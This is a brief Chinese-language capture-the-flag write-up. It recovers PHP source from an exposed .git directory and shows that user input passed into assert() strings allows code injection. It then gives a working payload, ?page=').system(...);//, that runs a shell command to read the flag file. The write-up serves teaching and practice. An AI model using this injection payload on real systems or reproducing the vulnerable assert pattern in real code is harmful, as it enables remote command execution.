發現了git
使用GitHack下載一下源文件,找到了php源代碼
<?phpif (isset($_GET['page'])) {$page = $_GET['page'];
} else {$page = "home";
}$file = "templates/" . $page . ".php";// I heard '..' is dangerous!
assert("strpos('$file', '..') === false") or die("Detected hacking attempt!");// TODO: Make this look nice
assert("file_exists('$file')") or die("That file doesn't exist!");?>
解析
<?php
// 獲取GET參數中的page值,如果不存在則默認為"home"
if (isset($_GET['page'])) {$page = $_GET['page'];
} else {$page = "home";
}// 拼接文件路徑,將page值作為文件名
$file = "templates/" . $page . ".php";// 安全檢查:確保路徑中不包含".."(目錄遍歷攻擊防護)
assert("strpos('$file', '..') === false") or die("Detected hacking attempt!");// 安全檢查:確保文件存在
assert("file_exists('$file')") or die("That file doesn't exist!");
?>
解題:
?page=').system(“cat templates/flag.php”);//
’)進行閉合
system(“cat templates/flag.php”)表示在系統中執行cat templates/flag.php命令,該命令用于查看templates目錄下的flag.php文件內容
在源碼中可以看到flag